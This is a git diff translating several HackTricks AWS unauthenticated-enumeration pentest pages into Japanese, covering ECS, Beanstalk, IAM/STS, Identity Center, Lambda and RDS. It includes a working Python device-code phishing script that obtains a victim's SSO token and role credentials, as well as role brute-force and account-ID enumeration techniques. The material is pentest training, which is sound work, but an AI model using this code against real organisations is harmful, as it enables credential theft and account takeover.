ECS 認証なし列挙 {{#include ../../../banners/hacktricks-training.md}} ## ECS -For more information check: +詳細については、以下を確認してください： {{#ref}} ../aws-services/aws-ecs-enum.md {{#endref}} -### Publicly Accessible Security Group or Load Balancer for ECS Services - -A misconfigured security group that **allows inbound traffic from the internet (0.0.0.0/0 or ::/0)** to the Amazon ECS services could expose the AWS resources to attacks. +### ECSサービスの公開アクセス可能なセキュリティグループまたはロードバランサー +**インターネットからの受信トラフィックを許可する（0.0.0.0/0 または ::/0）** 誤って構成されたセキュリティグループは、AWSリソースを攻撃にさらす可能性があります。 ```bash # Example of detecting misconfigured security group for ECS services aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]' @@ -21,9 +20,4 @@ aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contain # Example of detecting a publicly accessible load balancer for ECS services aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]' ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md index 3a73a7328..505124f67 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md @@ -4,38 +4,32 @@ ## Elastic Beanstalk -For more information check: +詳細については、次を確認してください： {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} -### Web vulnerability +### Web脆弱性 -Note that by default Beanstalk environments have the **Metadatav1 disabled**. +デフォルトでは、Beanstalk環境は**Metadatav1が無効**になっていることに注意してください。 -The format of the Beanstalk web pages is **`https://-env..elasticbeanstalk.com/`** +Beanstalkのウェブページの形式は**`https://-env..elasticbeanstalk.com/`**です。 -### Insecure Security Group Rules +### 不適切なセキュリティグループルール -Misconfigured security group rules can expose Elastic Beanstalk instances to the public. **Overly permissive ingress rules, such as allowing traffic from any IP address (0.0.0.0/0) on sensitive ports, can enable attackers to access the instance**. +誤って構成されたセキュリティグループルールは、Elastic Beanstalkインスタンスを公開する可能性があります。**任意のIPアドレス（0.0.0.0/0）からのトラフィックを許可するような過度に許可されたインバウンドルールは、攻撃者がインスタンスにアクセスできるようにする可能性があります**。 -### Publicly Accessible Load Balancer +### 公開アクセス可能なロードバランサー -If an Elastic Beanstalk environment uses a load balancer and the load balancer is configured to be publicly accessible, attackers can **send requests directly to the load balancer**. While this might not be an issue for web applications intended to be publicly accessible, it could be a problem for private applications or environments. +Elastic Beanstalk環境がロードバランサーを使用し、ロードバランサーが公開アクセス可能に構成されている場合、攻撃者は**ロードバランサーに直接リクエストを送信できます**。これは、公開アクセスを意図したウェブアプリケーションには問題ないかもしれませんが、プライベートアプリケーションや環境には問題となる可能性があります。 -### Publicly Accessible S3 Buckets +### 公開アクセス可能なS3バケット -Elastic Beanstalk applications are often stored in S3 buckets before deployment. If the S3 bucket containing the application is publicly accessible, an attacker could **download the application code and search for vulnerabilities or sensitive information**. - -### Enumerate Public Environments +Elastic Beanstalkアプリケーションは、デプロイ前にS3バケットに保存されることがよくあります。アプリケーションを含むS3バケットが公開アクセス可能な場合、攻撃者は**アプリケーションコードをダウンロードし、脆弱性や機密情報を探すことができます**。 +### 公開環境の列挙 ```bash aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md index 6ed2b74fe..524ec1f6c 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md @@ -2,15 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### 公開URLテンプレート ``` https://vpc-{user_provided}-[random].[region].es.amazonaws.com https://search-{user_provided}-[random].[region].es.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md index b6092fda4..e64407cbb 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md @@ -1,104 +1,96 @@ -# AWS - IAM & STS Unauthenticated Enum +# AWS - IAM & STS 未認証列挙 {{#include ../../../banners/hacktricks-training.md}} -## Enumerate Roles & Usernames in an account +## アカウント内のロールとユーザー名を列挙する -### ~~Assume Role Brute-Force~~ +### ~~ロールのブルートフォース攻撃~~ > [!CAUTION] -> **This technique doesn't work** anymore as if the role exists or not you always get this error: +> **この技術はもう機能しません**。ロールが存在するかどうかにかかわらず、常にこのエラーが返されます： > > `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` > -> You can **test this running**: +> **これを実行してテストできます**： > > `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` -Attempting to **assume a role without the necessary permissions** triggers an AWS error message. For instance, if unauthorized, AWS might return: - +必要な権限なしに**ロールを引き受けようとすると**、AWSエラーメッセージがトリガーされます。たとえば、無許可の場合、AWSは次のように返すことがあります： ```ruby An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS ``` - -This message confirms the role's existence but indicates that its assume role policy does not permit your assumption. In contrast, trying to **assume a non-existent role leads to a different error**: - +このメッセージはロールの存在を確認しますが、そのロールの引き受けポリシーがあなたの引き受けを許可していないことを示しています。対照的に、**存在しないロールを引き受けようとすると異なるエラーが発生します**: ```less An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole ``` +興味深いことに、**既存のロールと存在しないロールを区別する**この方法は、異なるAWSアカウント間でも適用可能です。有効なAWSアカウントIDとターゲットワードリストを使用することで、アカウント内に存在するロールを列挙することができ、固有の制限に直面することはありません。 -Interestingly, this method of **discerning between existing and non-existing roles** is applicable even across different AWS accounts. With a valid AWS account ID and a targeted wordlist, one can enumerate the roles present in the account without facing any inherent limitations. +この[スクリプトを使用して潜在的なプリンシパルを列挙](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum)することができます。 -You can use this [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusing this issue. +### 信頼ポリシー: ブルートフォースクロスアカウントロールとユーザー -### Trust Policies: Brute-Force Cross Account roles and users - -Configuring or updating an **IAM role's trust policy involves defining which AWS resources or services are permitted to assume that role** and obtain temporary credentials. If the specified resource in the policy **exists**, the trust policy saves **successfully**. However, if the resource **does not exist**, an **error is generated**, indicating that an invalid principal was provided. +**IAMロールの信頼ポリシーを構成または更新することは、そのロールを引き受けることが許可されているAWSリソースまたはサービスを定義し、一時的な資格情報を取得することを含みます**。ポリシー内で指定されたリソースが**存在する**場合、信頼ポリシーは**正常に**保存されます。しかし、リソースが**存在しない**場合、**エラーが生成され**、無効なプリンシパルが提供されたことを示します。 > [!WARNING] -> Note that in that resource you could specify a cross account role or user: +> そのリソースでは、クロスアカウントロールまたはユーザーを指定できることに注意してください: > > - `arn:aws:iam::acc_id:role/role_name` > - `arn:aws:iam::acc_id:user/user_name` -This is a policy example: - +これはポリシーの例です: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::216825089941:role/Test" - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::216825089941:role/Test" +}, +"Action": "sts:AssumeRole" +} +] } ``` - #### GUI -That is the **error** you will find if you uses a **role that doesn't exist**. If the role **exist**, the policy will be **saved** without any errors. (The error is for update, but it also works when creating) +それは、**存在しないロールを使用した場合**に見つかる**エラー**です。ロールが**存在する**場合、ポリシーは**エラーなし**で**保存**されます。（エラーは更新用ですが、作成時にも機能します） ![](<../../../images/image (153).png>) #### CLI - ```bash ### You could also use: aws iam update-assume-role-policy # When it works aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json { - "Role": { - "Path": "/", - "RoleName": "Test-Role", - "RoleId": "AROA5ZDCUJS3DVEIYOB73", - "Arn": "arn:aws:iam::947247140022:role/Test-Role", - "CreateDate": "2022-05-03T20:50:04Z", - "AssumeRolePolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::316584767888:role/account-balance" - }, - "Action": [ - "sts:AssumeRole" - ] - } - ] - } - } +"Role": { +"Path": "/", +"RoleName": "Test-Role", +"RoleId": "AROA5ZDCUJS3DVEIYOB73", +"Arn": "arn:aws:iam::947247140022:role/Test-Role", +"CreateDate": "2022-05-03T20:50:04Z", +"AssumeRolePolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::316584767888:role/account-balance" +}, +"Action": [ +"sts:AssumeRole" +] +} +] +} +} } # When it doesn't work aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" ``` - You can automate this process with [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) - `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` @@ -111,70 +103,60 @@ Our using [Pacu](https://github.com/RhinoSecurityLabs/pacu): ### Privesc -In the case the role was bad configured an allows anyone to assume it: - +役割が不適切に構成されており、誰でもそれを引き受けることができる場合: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] } ``` +攻撃者はそれを仮定することができます。 -The attacker could just assume it. - -## Third Party OIDC Federation - -Imagine that you manage to read a **Github Actions workflow** that is accessing a **role** inside **AWS**.\ -This trust might give access to a role with the following **trust policy**: +## 第三者 OIDC フェデレーション +あなたが **AWS** 内の **ロール** にアクセスしている **Github Actions ワークフロー** を読むことに成功したと想像してください。\ +この信頼は、次の **信頼ポリシー** を持つロールへのアクセスを与える可能性があります： ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "token.actions.githubusercontent.com:aud": "sts.amazonaws.com" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" +} +} +} +] } ``` +この信頼ポリシーは正しいかもしれませんが、**より多くの条件がない**ことは信頼できない理由です。\ +これは、前のロールが**Github Actionsの誰でも**引き受けられるからです！条件には、組織名、リポジトリ名、環境、ブランチなどの他の要素も指定する必要があります... -This trust policy might be correct, but the **lack of more conditions** should make you distrust it.\ -This is because the previous role can be assumed by **ANYONE from Github Actions**! You should specify in the conditions also other things such as org name, repo name, env, brach... - -Another potential misconfiguration is to **add a condition** like the following: - +別の潜在的な誤設定は、次のような**条件を追加する**ことです： ```json "StringLike": { - "token.actions.githubusercontent.com:sub": "repo:org_name*:*" +"token.actions.githubusercontent.com:sub": "repo:org_name*:*" } ``` +注意してください **ワイルドカード** (\*) **コロン** (:) の前に。**org_name1** のような組織を作成し、Github Action から **ロールを引き受ける** ことができます。 -Note that **wildcard** (\*) before the **colon** (:). You can create an org such as **org_name1** and **assume the role** from a Github Action. - -## References +## 参考文献 - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md index fd4d31de6..536eaca19 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md @@ -2,35 +2,32 @@ {{#include ../../../banners/hacktricks-training.md}} -## AWS Device Code Phishing +## AWSデバイスコードフィッシング -Initially proposed in [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), it's possible to send a **link** to a user using AWS SSO that if the **user accepts** the attacker will be able to get a **token to impersonate the user** and access all the roles the user is able to access in the **Identity Center**. +最初に[**このブログ記事**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)で提案されたように、AWS SSOを使用してユーザーに**リンク**を送信することが可能で、**ユーザーが承認**すると、攻撃者は**ユーザーを偽装するためのトークン**を取得し、**Identity Center**でユーザーがアクセスできるすべてのロールにアクセスできるようになります。 -In order to perform this attack the requisites are: +この攻撃を実行するための要件は次のとおりです： -- The victim needs to use **Identity Center** -- The attacker must know the **subdomain** used by the victim `.awsapps.com/start` +- 被害者は**Identity Center**を使用する必要があります +- 攻撃者は被害者が使用している**サブドメイン**を知っている必要があります `.awsapps.com/start` -Just with the previous info, the **attacker will be able to send a link to the user** that if **accepted** will grant the **attacker access over the AWS user** account. +前述の情報だけで、**攻撃者はユーザーにリンクを送信でき**、**承認されれば**、**攻撃者はAWSユーザー**アカウントへのアクセスを得ることができます。 -### Attack +### 攻撃 -1. **Finding the subdomain** +1. **サブドメインの特定** -The first step of the attacker is to find out the subdomain the victim company is using in their Identity Center. This can be done via **OSINT** or **guessing + BF** as most companies will be using their name or a variation of their name here. - -With this info, it's possible to get the region where the Indentity Center was configured with: +攻撃者の最初のステップは、被害者の会社がIdentity Centerで使用しているサブドメインを特定することです。これは**OSINT**または**推測 + ブルートフォース**を使用して行うことができ、ほとんどの会社はここで自社名またはそのバリエーションを使用しています。 +この情報をもとに、Identity Centerが設定されたリージョンを取得することが可能です： ```bash curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' "region":"us-east-1 ``` +2. **被害者のリンクを生成して送信する** -2. **Generate the link for the victim & Send it** - -Run the following code to generate an AWS SSO login link so the victim can authenticate.\ -For the demo, run this code in a python console and do not exit it as later you will need some objects to get the token: - +次のコードを実行して、被害者が認証できるAWS SSOログインリンクを生成します。\ +デモのために、このコードをPythonコンソールで実行し、後でトークンを取得するためにいくつかのオブジェクトが必要になるので、終了しないでください: ```python import boto3 @@ -39,89 +36,84 @@ AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS sso_oidc = boto3.client('sso-oidc', region_name=REGION) client = sso_oidc.register_client( - clientName = 'attacker', - clientType = 'public' +clientName = 'attacker', +clientType = 'public' ) client_id = client.get('clientId') client_secret = client.get('clientSecret') authz = sso_oidc.start_device_authorization( - clientId=client_id, - clientSecret=client_secret, - startUrl=AWS_SSO_START_URL +clientId=client_id, +clientSecret=client_secret, +startUrl=AWS_SSO_START_URL ) url = authz.get('verificationUriComplete') deviceCode = authz.get('deviceCode') print("Give this URL to the victim: " + url) ``` +生成したリンクを被害者にあなたの素晴らしいソーシャルエンジニアリングスキルを使って送信してください！ -Send the generated link to the victim using you awesome social engineering skills! +3. **被害者がそれを受け入れるのを待つ** -3. **Wait until the victim accepts it** - -If the victim was **already logged in AWS** he will just need to accept granting the permissions, if he wasn't, he will need to **login and then accept granting the permissions**.\ -This is how the promp looks nowadays: +被害者が**すでにAWSにログインしている**場合、権限を付与することを受け入れるだけで済みます。ログインしていない場合は、**ログインしてから権限を付与することを受け入れる必要があります**。\ +これが現在のプロンプトの見た目です：
-4. **Get SSO access token** - -If the victim accepted the prompt, run this code to **generate a SSO token impersonating the user**: +4. **SSOアクセストークンを取得する** +被害者がプロンプトを受け入れた場合、このコードを実行して**ユーザーを偽装してSSOトークンを生成します**： ```python token_response = sso_oidc.create_token( - clientId=client_id, - clientSecret=client_secret, - grantType="urn:ietf:params:oauth:grant-type:device_code", - deviceCode=deviceCode +clientId=client_id, +clientSecret=client_secret, +grantType="urn:ietf:params:oauth:grant-type:device_code", +deviceCode=deviceCode ) sso_token = token_response.get('accessToken') ``` +SSOアクセストークンは**8時間有効**です。 -The SSO access token is **valid for 8h**. - -5. **Impersonate the user** - +5. **ユーザーを偽装する** ```python sso_client = boto3.client('sso', region_name=REGION) # List accounts where the user has access aws_accounts_response = sso_client.list_accounts( - accessToken=sso_token, - maxResults=100 +accessToken=sso_token, +maxResults=100 ) aws_accounts_response.get('accountList', []) # Get roles inside an account roles_response = sso_client.list_account_roles( - accessToken=sso_token, - accountId= +accessToken=sso_token, +accountId= ) roles_response.get('roleList', []) # Get credentials over a role sts_creds = sso_client.get_role_credentials( - accessToken=sso_token, - roleName=, - accountId= +accessToken=sso_token, +roleName=, +accountId= ) sts_creds.get('roleCredentials') ``` +### フィッシング不可能なMFA -### Phishing the unphisable MFA +以前の攻撃が**「フィッシング不可能なMFA」（webAuth）が使用されていても機能する**ことを知るのは楽しいです。これは、以前の**ワークフローが使用されているOAuthドメインを離れない**ためです。他のフィッシング攻撃とは異なり、ユーザーがログインドメインを偽装する必要がない場合、デバイスコードワークフローが準備されているため、**デバイスによってコードが知られている**と、ユーザーは異なるマシンでもログインできます。プロンプトを受け入れると、デバイスは**初期コードを知っているだけで**、ユーザーのために**資格情報を取得する**ことができます。 -It's fun to know that the previous attack **works even if an "unphisable MFA" (webAuth) is being used**. This is because the previous **workflow never leaves the used OAuth domain**. Not like in other phishing attacks where the user needs to supplant the login domain, in the case the device code workflow is prepared so a **code is known by a device** and the user can login even in a different machine. If accepted the prompt, the device, just by **knowing the initial code**, is going to be able to **retrieve credentials** for the user. +詳細については、[**この投稿を確認してください**](https://mjg59.dreamwidth.org/62175.html)。 -For more info about this [**check this post**](https://mjg59.dreamwidth.org/62175.html). - -### Automatic Tools +### 自動ツール - [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication) - [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish) -## References +## 参考文献 - [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) - [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing) @@ -129,7 +121,3 @@ For more info about this [**check this post**](https://mjg59.dreamwidth.org/6217 - [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md index 38622c338..0043b8442 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md @@ -1,17 +1,11 @@ -# AWS - IoT Unauthenticated Enum +# AWS - IoT 認証なし列挙 {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### 公開URLテンプレート ``` mqtt://{random_id}.iot.{region}.amazonaws.com:8883 https://{random_id}.iot.{region}.amazonaws.com:8443 https://{random_id}.iot.{region}.amazonaws.com:443 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md index 58b8a1309..534cfab94 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### 公開URLテンプレート ``` https://{random_id}.kinesisvideo.{region}.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md index 5109a2044..5bfcefedb 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md @@ -2,25 +2,19 @@ {{#include ../../../banners/hacktricks-training.md}} -## Public Function URL +## パブリック関数URL -It's possible to relate a **Lambda** with a **public function URL** that anyone can access. It could contain web vulnerabilities. - -### Public URL template +**Lambda**を誰でもアクセスできる**パブリック関数URL**に関連付けることが可能です。これにはウェブの脆弱性が含まれている可能性があります。 +### パブリックURLテンプレート ``` https://{random_id}.lambda-url.{region}.on.aws/ ``` +### 公開Lambda URLからアカウントIDを取得する -### Get Account ID from public Lambda URL +S3バケット、データ交換、APIゲートウェイと同様に、公開Lambda URLから**`aws:ResourceAccount`** **ポリシー条件キー**を悪用してアカウントのアカウントIDを見つけることが可能です。これは、ポリシーの**`aws:ResourceAccount`**セクションでワイルドカードを悪用して、一文字ずつアカウントIDを見つけることによって行われます。\ +この技術を使用すると、タグキーがわかっている場合に**タグの値**を取得することもできます（いくつかのデフォルトの興味深いものがあります）。 -Just like with S3 buckets, Data Exchange and API gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public lambda URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\ -This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones). - -You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. +詳細については、[**元の研究**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)と、この悪用を自動化するためのツール[**conditional-love**](https://github.com/plerionhq/conditional-love/)を参照してください。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md index 2bbc4fdd6..527da73b3 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md @@ -2,16 +2,10 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### 公開URLテンプレート ``` https://{random_id}.mediaconvert.{region}.amazonaws.com https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel https://{random_id}.data.mediastore.{region}.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md index ab06211e2..d8ea805b1 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md @@ -2,25 +2,19 @@ {{#include ../../../banners/hacktricks-training.md}} -## Public Port +## パブリックポート ### **RabbitMQ** -In case of **RabbitMQ**, by **default public access** and ssl are enabled. But you need **credentials** to access (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Moreover, it's possible to **access the web management console** if you know the credentials in `https://b-.mq.us-east-1.amazonaws.com/` +**RabbitMQ**の場合、**デフォルトでパブリックアクセス**とsslが有効になっています。しかし、アクセスするには**認証情報**が必要です（`amqps://.mq.us-east-1.amazonaws.com:5671`​​）。さらに、`https://b-.mq.us-east-1.amazonaws.com/`で認証情報を知っていれば**ウェブ管理コンソールにアクセス**することが可能です。 ### ActiveMQ -In case of **ActiveMQ**, by default public access and ssl are enabled, but you need credentials to access. - -### Public URL template +**ActiveMQ**の場合、デフォルトでパブリックアクセスとsslが有効になっていますが、アクセスするには認証情報が必要です。 +### パブリックURLテンプレート ``` https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md index 9bbbd408d..96a2f4e20 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md @@ -2,21 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public Port +### パブリックポート -It's possible to **expose the Kafka broker to the public**, but you will need **credentials**, IAM permissions or a valid certificate (depending on the auth method configured). +**Kafkaブローカーをパブリックに公開することは可能ですが、** **認証情報**、IAM権限、または有効な証明書が必要です（設定された認証方法に応じて）。 -It's also **possible to disabled authentication**, but in that case **it's not possible to directly expose** the port to the Internet. - -### Public URL template +**認証を無効にすることも可能ですが、その場合は** **ポートをインターネットに直接公開することはできません。** +### パブリックURLテンプレート ``` b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com {user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md index 218300e3f..b0db25086 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md @@ -1,23 +1,22 @@ -# AWS - RDS Unauthenticated Enum +# AWS - RDS 認証なし列挙 {{#include ../../../banners/hacktricks-training.md}} ## RDS -For more information check: +詳細については、以下を確認してください： {{#ref}} ../aws-services/aws-relational-database-rds-enum.md {{#endref}} -## Public Port +## 公開ポート -It's possible to give public access to the **database from the internet**. The attacker will still need to **know the username and password,** IAM access, or an **exploit** to enter in the database. +**インターネットからデータベースへの公開アクセスを提供することが可能です**。攻撃者は依然として**ユーザー名とパスワード、** IAM アクセス、または**エクスプロイト**を知っている必要があります。 -## Public RDS Snapshots - -AWS allows giving **access to anyone to download RDS snapshots**. You can list these public RDS snapshots very easily from your own account: +## 公開 RDS スナップショット +AWS は**誰でも RDS スナップショットをダウンロードするアクセスを提供することを許可しています**。自分のアカウントからこれらの公開 RDS スナップショットを非常に簡単にリストできます： ```bash # Public RDS snapshots aws rds describe-db-snapshots --include-public @@ -33,16 +32,9 @@ aws rds describe-db-snapshots --snapshot-type public [--region us-west-2] ## Even if in the console appear as there are public snapshot it might be public ## snapshots from other accounts used by the current account ``` - -### Public URL template - +### 公開URLテンプレート ``` mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306 postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md index ab1577a1e..75d16aa4d 100644 